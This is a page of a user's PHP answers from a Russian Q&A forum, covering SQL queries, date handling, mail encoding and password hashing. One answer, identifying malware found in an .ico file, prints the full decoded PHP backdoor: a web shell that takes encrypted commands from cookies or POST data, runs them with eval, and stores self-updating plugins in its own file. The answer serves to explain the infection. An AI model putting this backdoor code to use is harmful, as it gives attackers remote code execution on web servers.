Задать вопрос
Ответы пользователя по тегу PHP
  • Почему switch-case сравнивают с if/else?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    switch (true) {
      case ($x > 5):
        ...
        break;
      case ($x < 1):
        ...
        break;
      default:
        ...
    }
    Ответ написан
    Комментировать
  • Станное поведение strtotime в php, можно ли принять или пофиксить?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Это просто неопределённость понятия "месяц назад". Попробуйте записать, какое число было месяц назад для:
    - 27 февраля
    - 28 февраля
    - 1 марта
    Ответ написан
    2 комментария
  • Как правильно передать переменную в запрос к БД?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Использовать подготовленные выражения с плейсхолдерами.
    Ответ написан
    Комментировать
  • Как округлить число до значащих цифр?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    В общем случае - менять тип данных на DECIMAL.
    В частных, например с валютами, переходить к целым числам, то есть вместо рублей считать в копейках или долях копеек.
    Ответ написан
    Комментировать
  • DOCUMENT_ROOT в PHP 7+, как исправить ошибку?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Вообще-то это предупреждение и в PHP 5 будет. Не определена константа DOCUMENT_ROOT, поэтому PHP предположил, что нужна строка 'DOCUMENT_ROOT'. Чтобы не было предупреждения - добавьте кавычки.
    Ответ написан
    4 комментария
  • Как добавить в строку данные через цикл?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Потому что у вас закрывающий тэг не закрыт
    Ответ написан
    1 комментарий
  • Как работать с php и cron?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    SELECT * 
      FROM `tasks` 
      WHERE `nextStartTime` < :currentTime;

    Выбираете все строки, запускаете задачи.
    Дальше либо задача удаляется, если разовая, либо обновляется время следующего запуска
    DELETE 
      FROM `tasks` 
      WHERE `nextStartTime` < :currentTime AND 0 = `interval`;
    UPDATE `tasks` 
      SET `nextStartTime` = `nextStartTime` + INTERVAL `interval` MINUTE 
      WHERE `nextStartTime` < :currentTime;
    Ответ написан
    4 комментария
  • Ошибка соединения с сервером. Попробуйте позже. Как исправить?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    А почему вы решили, что ошибка $db->query($query) вызвана именно отсутствием соединения с сервером?
    Ответ написан
    Комментировать
  • Почему mysql экранирует кавычки в json?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Потому что вы передаёте не JSON, а строку. Если хотите, чтобы она воспринималась именно как JSON, укажите это явно через CAST('$jsArr' AS JSON).
    Ответ написан
    1 комментарий
  • Как исправить проблему с кодировкой?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    По стандарту в заголовках письма должны использоваться только символы из основного ASCII-набора (0x00-0x7F). Все остальные символы должны быть закодированы.
    Если письмо содержит HTML-часть, то крайне желательно добавить соответствующую по тексту PLAIN-часть. Тип письма должен быть multipart/alternative.
    При несоблюдении этих условий резко возрастает вероятность попадания письма в спам.
    Кодировку лучше использовать UTF-8, как наиболее универсальную.
    $fromName = "=?UTF-8?B?" . base64_encode($fromName) . "?=";
    $toName = "=?UTF-8?B?" . base64_encode($toName) . "?=";
    $subject = "=?UTF-8?B?" . base64_encode($subject) . "?=";
    $boundary = md5(rand());
    $headers = "From: {$fromName} <${fromEmail}>\r\n".
               "MIME-Version: 1.0\r\n" .
               "Content-type: multipart/alternative; boundary={$boundary}\r\n"; 
    $message = "\r\n--{$boundary}\r\n" .
               "Content-Type: text/plain; charset=UTF-8\r\n\r\n" .
               $plainMessage .
               "\r\n--{$boundary}\r\n" .
               "Content-Type: text/html; charset=UTF-8\r\n\r\n" .
               $htmlMessage .
               "\r\n--{$boundary}--\r\n";
    mail("{$toName} <{$toEmail}>", $subject, $message, $headers);
    Ответ написан
    Комментировать
  • Почему скрипт ничего не выводит?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Потому что вы весь результат уже получили через get_result(), курсор в $stmt дошёл до конца. Теперь перебирайте $result его методами.
    Ответ написан
    Комментировать
  • Как узнать порядковый номер записи из выборки из двух таблиц?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Надо обернуть запрос ещё в один SELECT
    SET @row = 0;
    SELECT *, @row := @row + 1 AS `pos`
      FROM (
        SELECT `t1`.`id`, `t1`.`hm`, `t2`.`name`
          FROM (
            SELECT `target_id` AS `id`, SUM(`cnt`) AS `hm`
              FROM `votes`
              GROUP BY `target_id`
          ) AS `t1`
          JOIN `people` AS `t2` ON `t2`.`id` = `t1`.`id`
          ORDER BY `t1`.`hm` DESC, `t2`.`name` ASC 
          LIMIT 10
      ) AS `x`
    Ответ написан
    6 комментариев
  • Это код вируса или нет?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    А вы откройте этот .ico-файл в текстовом редакторе, там как раз зловред сидит.
    Если его расшифровать:
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @error_reporting(0);
    @set_time_limit(0);
    
    
    if(!defined("PHP_EOL"))
    {
        define("PHP_EOL", "\n");
    }
    
    if(!defined("DIRECTORY_SEPARATOR"))
    {
        define("DIRECTORY_SEPARATOR", "/");
    }
    
    if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
    {
        define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
    
        $data = NULL;
        $data_key = NULL;
    
        $GLOBALS['cs_auth'] = '58d0af46-4572-4890-a372-475116d44415';
        global $cs_auth;
    
    
        function cs_base64_decode($input) {
    
            if (strlen($input) < 4)
            {
                return "";
            }
    
            $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    
            $keys = str_split($keyStr);
            $keys = array_flip($keys);
    
            $i = 0;
            $output = "";
    
            $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);
    
            do {
                $enc1 = $keys[$input[$i++]];
                $enc2 = $keys[$input[$i++]];
                $enc3 = $keys[$input[$i++]];
                $enc4 = $keys[$input[$i++]];
    
                $chr1 = ($enc1 << 2) | ($enc2 >> 4);
                $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
                $chr3 = (($enc3 & 3) << 6) | $enc4;
                $output = $output . chr($chr1);
                if ($enc3 != 64) {
                    $output = $output . chr($chr2);
                }
                if ($enc4 != 64) {
                    $output = $output . chr($chr3);
                }
            } while ($i < strlen($input));
            return $output;
        }
    
        if (!function_exists('file_put_contents'))
        {
            function file_put_contents($n, $d, $flag = False)
            {
                $mode = $flag == 8 ? 'a' : 'w';
                $f = @fopen($n, $mode);
                if ($f === False)
                {
                    return 0;
                }
                else
                {
                    if (is_array($d)) $d = implode($d);
                    $bytes_written = fwrite($f, $d);
                    fclose($f);
                    return $bytes_written;
                }
            }
        }
    
        if (!function_exists('file_get_contents'))
        {
            function file_get_contents($filename)
            {
                $fhandle = fopen($filename, "r");
                $fcontents = fread($fhandle, filesize($filename));
                fclose($fhandle);
    
                return $fcontents;
            }
        }
        function cs_get_current_filepath()
        {
            return trim(preg_replace("/\(.*\$/", '', __FILE__));
        }
    
        function cs_decrypt_phase($data, $key)
        {
            $out_data = "";
    
            for ($i=0; $i<strlen($data);)
            {
                for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
                {
                    $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
                }
            }
    
            return $out_data;
        }
    
        function cs_decrypt($data, $key)
        {
            global $cs_auth;
    
            return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
        }
        function cs_encrypt($data, $key)
        {
            global $cs_auth;
    
            return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
        }
    
        function cs_get_plugin_config()
        {
            $self_content = @file_get_contents(cs_get_current_filepath());
    
            $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
            if ($config_pos !== FALSE)
            {
                $config = substr($self_content, $config_pos + 32);
                $plugins = @unserialize(cs_decrypt(rawurldecode($config), md5(cs_get_current_filepath())));
            }
            else
            {
                $plugins = Array();
            }
    
            return $plugins;
        }
    
        function cs_set_plugin_config($plugins)
        {
            $config_enc = rawurlencode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
            $self_content = @file_get_contents(cs_get_current_filepath());
    
            $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
            if ($config_pos !== FALSE)
            {
                $config_old = substr($self_content, $config_pos + 32);
                $self_content = str_replace($config_old, $config_enc, $self_content);
    
            }
            else
            {
                $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
            }
    
            @file_put_contents(cs_get_current_filepath(), $self_content);
        }
    
        function cs_plugin_add($name, $base64_data)
        {
            $plugins = cs_get_plugin_config();
    
            $plugins[$name] = cs_base64_decode($base64_data);
    
            cs_set_plugin_config($plugins);
        }
    
        function cs_plugin_rem($name)
        {
            $plugins = cs_get_plugin_config();
    
            unset($plugins[$name]);
    
            cs_set_plugin_config($plugins);
        }
    
        function cs_plugin_load($name=NULL)
        {
            foreach (cs_get_plugin_config() as $pname=>$pcontent)
            {
                if ($name)
                {
                    if (strcmp($name, $pname) == 0)
                    {
                        eval($pcontent);
                        break;
                    }
                }
                else
                {
                    eval($pcontent);
                }
            }
        }
    
        foreach ($_COOKIE as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    
        if (!$data)
        {
            foreach ($_POST as $key=>$value)
            {
                $data = $value;
                $data_key = $key;
            }
        }
    
        $data = @unserialize(cs_decrypt(cs_base64_decode($data), $data_key));
    
        if (isset($data['ak']) && $cs_auth==$data['ak'])
        {
            if ($data['a'] == 'i')
            {
                $i = Array(
                    'pv' => @phpversion(),
                    'sv' => '2.0-1',
                    'ak' => $data['ak'],
                );
                echo @serialize($i);
                exit;
            }
            elseif ($data['a'] == 'e')
            {
                eval($data['d']);
            }
            elseif ($data['a'] == 'plugin')
            {
                if($data['sa'] == 'add')
                {
                    cs_plugin_add($data['p'], $data['d']);
                }
                elseif($data['sa'] == 'rem')
                {
                    cs_plugin_rem($data['p']);
                }
            }
            echo $data['ak'];
            exit();
        }
    
        cs_plugin_load();
    }

    А строка комментария в конце кода - это плагины, которые он грузит.
    Ответ написан
    Комментировать
  • Почему не получается подключится к БД через функцию?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Область видимости переменной $dbc ограничена функцией connect().
    Ответ написан
    1 комментарий
  • Безопасно ли так хешировать пароли?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Зачем изобретать велосипед, когда давно уже есть password_hash()
    Ответ написан
    7 комментариев
  • Как выбрать данные из таблицы по похожим данным их массива?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Приведите базу в нормальную форму, выделите поле `dat` в отдельную таблицу `user_dats` (`user_id`, `dat`), где в каждой строке будет содержаться только одно значение из `dat` и пара (`user_id`, `dat`) образует первичный ключ.
    Затем используйте запрос
    SELECT * 
      FROM (
        SELECT `user_id`
          FROM `user_dats`
          WHERE `dat` IN (1, 2, 3, 4, 5)
          GROUP BY `user_id`
      ) AS `uid`
      JOIN `table` ON `uid`.`user_id` = `table`.`id`
    Ответ написан
  • Как проверить, входит ли работа во временной период?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    <?php
    $begin = new DateTime('09:00');
    $end = new DateTime('21:00');
    $intervals = array(
      array(new DateTime('10:00'), new DateTime('10:15')),
      array(new DateTime('10:15'), new DateTime('11:45')),
      array(new DateTime('12:30'), new DateTime('16:00'))
    );
    $time = 90;
    
    function checkInterval($begin, $end, $time) {
      $intervalDiff = $begin->diff($end);
      $intervalMinutes = $intervalDiff->h * 60 + $intervalDiff->i;
      if ($intervalMinutes >= $time) {
        echo $begin->format('H:i'), ' - ', $end->format('H:i'), "\n";
      }
    }
    
    $intervalStart = $begin;
    foreach ($intervals as $interval) {
      checkInterval($intervalStart, $interval[0], $time);
      $intervalStart = $interval[1];
    }
    checkInterval($intervalStart, $end, $time);
    Ответ написан
    1 комментарий
  • В чем может быть проблема php notice: Use of undefined constant string - assumed 'string' in?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Скорее всего, ошибка не в этой функции, а в файле класса, экземпляр которого создаётся через new.
    Ответ написан
    Комментировать
  • Как решить данную задачу (Олимпиадная)?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Поскольку в запросах используется только равенство, то изначально не разделять свойства товаров по символу =.
    Подготовить массив, где каждой паре 'свойство=значение' будет соответствовать массив со списком товаров.
    [
      'width=5' => [0, 3],
      'ht=3' => [0, 3],
      'len=10' => [0],
      'name=circ' => [1, 2],
      'rad=5' => [1, 2].
      'name=sqr' => [3]
    ]

    Затем по списку свойств в запросе выбирать массивы, если их больше одного, то находить их пересечение через array_intersect и выдавать размер полученного пересечения.
    array_intersect([0, 3], [0, 3]) = [0, 3]
    [1, 2]
    [3]
    array_intersect([0, 3], [0]) = [0]
    Ответ написан
  • Почему отправляются кракозябры?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Не задана кодировка письма (заголовок Content-Type).
    Ответ написан